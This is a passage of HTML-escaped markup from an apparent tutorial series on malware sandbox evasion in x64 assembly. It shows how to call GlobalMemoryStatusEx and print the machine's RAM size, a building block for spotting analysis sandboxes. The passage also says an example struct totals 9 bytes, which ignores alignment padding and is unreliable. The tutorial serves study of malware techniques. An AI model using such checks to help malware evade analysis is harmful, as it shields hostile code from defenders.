&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;statex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GlobalMemoryStatusEx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;statex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Memory size: %*I64d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;statex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ullTotalPhys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You will see that the first parameter for &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; is expecting a pointer to a &lt;code&gt;MEMORYSTATUSEX&lt;/code&gt; object. We need to declare the memory location &lt;code&gt;statex&lt;/code&gt; by putting it onto the stack. Before we can do that, however, we first need to know beforehand how much we would need to reserve.&lt;/p&gt;
&lt;h2 id="getting-the-size-of-the-struct"&gt;Getting the size of the struct&lt;/h2&gt;
&lt;p&gt;Finding out the size of a structure in C is easy with the &lt;code&gt;sizeof&lt;/code&gt; function. However, we can't really use this in assembly, so we have to determine it manually by adding up the sizes of each member of the struct.&lt;/p&gt;
&lt;p&gt;Consider the example struct definition below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;TestStruct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;member1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;member2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;member3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we would look at &lt;a href="https://docs.microsoft.com/en-us/cpp/cpp/fundamental-types-cpp?view=msvc-170#sizes-of-built-in-types"&gt;this table&lt;/a&gt; containing the fundamental types and their sizes, we could determine the sizes of each member:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;member1&lt;/code&gt; is of type &lt;code&gt;char&lt;/code&gt; which has a size of &lt;em&gt;1 byte&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;member2&lt;/code&gt; is of type &lt;code&gt;int&lt;/code&gt; which is &lt;em&gt;4 bytes&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;member3&lt;/code&gt; is of type &lt;code&gt;float&lt;/code&gt; which also is &lt;em&gt;4 bytes&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Adding all of these sizes results in &lt;code&gt;TestStruct&lt;/code&gt; having a total size of &lt;em&gt;9 bytes&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Now to apply the same computation to our &lt;code&gt;MEMORYSTATUSEX&lt;/code&gt; struct. Here is the definition of the struct &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-memorystatusex"&gt;according to MSDN&lt;/a&gt;:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_MEMORYSTATUSEX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dwLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dwMemoryLoad&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullTotalPhys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullAvailPhys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullTotalPageFile&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullAvailPageFile&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullTotalVirtual&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullAvailVirtual&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DWORDLONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullAvailExtendedVirtual&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MEMORYSTATUSEX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;LPMEMORYSTATUSEX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The types that we have are &lt;code&gt;DWORD&lt;/code&gt; and &lt;code&gt;DWORDLONG&lt;/code&gt; (which is just &lt;a href="https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types?redirectedfrom=MSDN"&gt;Window's own version&lt;/a&gt; of &lt;code&gt;unsigned long&lt;/code&gt; and &lt;code&gt;unsigned int64&lt;/code&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DWORD&lt;/code&gt; or &lt;code&gt;unsigned long&lt;/code&gt; has a size of &lt;em&gt;4 bytes&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DWORDLONG&lt;/code&gt; or &lt;code&gt;unsigned int64&lt;/code&gt; has a size of &lt;em&gt;8 bytes&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So adding the two &lt;code&gt;DWORD&lt;/code&gt;s and seven &lt;code&gt;DWORDLONG&lt;/code&gt;s results in &lt;code&gt;MEMORYSTATUSEX&lt;/code&gt; having a total size of &lt;em&gt;64 bytes&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="initializing-statex"&gt;Initializing statex&lt;/h2&gt;
&lt;p&gt;Now that we know the total size, we can now reserve this amount of space on the stack.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Reserve space for struct on stack&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; MEMORYSTATUSEX&amp;#39;s is 64 bytes (0x40) in size&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Before we can call &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt;, however, &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-memorystatusex"&gt;MSDN states&lt;/a&gt; that the &lt;code&gt;dwLength&lt;/code&gt; member should be first set. And this can be done by assigning &lt;em&gt;64 bytes&lt;/em&gt; to the corresponding memory location on the stack.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Assign 0x40 to dwLength&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Load the memory location of struct&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With this we can finally call our function:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GlobalMemoryStatusEx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="using-the-result"&gt;Using the result&lt;/h2&gt;
&lt;p&gt;If successful, the function &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; populates the memory location we passed to it, as shown below:&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2-01" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The struct member &lt;code&gt;ullTotalPhys&lt;/code&gt; now has the memory size that we need. And because our stack pointer still points to the beginning of the struct, we can get this value by adding an offset to &lt;code&gt;rsp&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Retrive value of ullTotalPhys from stack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We offset by &lt;code&gt;0x8&lt;/code&gt; because the first 8 bytes is assigned to &lt;code&gt;dwLength&lt;/code&gt; and &lt;code&gt;dwMemoryLoad&lt;/code&gt; (both at 4 bytes each).&lt;/p&gt;
&lt;h2 id="displaying-the-result"&gt;Displaying the result&lt;/h2&gt;
&lt;p&gt;As seen above, the value returned by &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; is in bytes. To be consistent with our example from the previous post, we need to convert this value to kilobytes by dividing it by &lt;code&gt;1024&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Clear rdx; This is required before calling div&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Divide by 1024 to convert to KB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The result of the above operation is saved to &lt;code&gt;rax&lt;/code&gt; which we can then move to &lt;code&gt;rdx&lt;/code&gt; so we can pass it as the second argument to &lt;code&gt;printf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Argument 2; Result of ullTotalPhys / 1024&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_memory_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Format string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With this, we can now finally display the result on the console:&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2-02" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;Here is the full source code for reference:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_memory_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Memory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%lld&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;GlobalMemoryStatusEx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Reserve space for struct on stack&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; MEMORYSTATUSEX&amp;#39;s is 64 bytes (0x40) in size &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Assign 0x40 to dwLength&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Load the memory location of struct&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GlobalMemoryStatusEx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Retrive value of ullTotalPhys from stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Clear rdx; This is required before calling div&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Divide by 1024 to convert to KB&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Argument 2; Result of ullTotalPhys / 1024&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_memory_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Format string&lt;/span&gt;
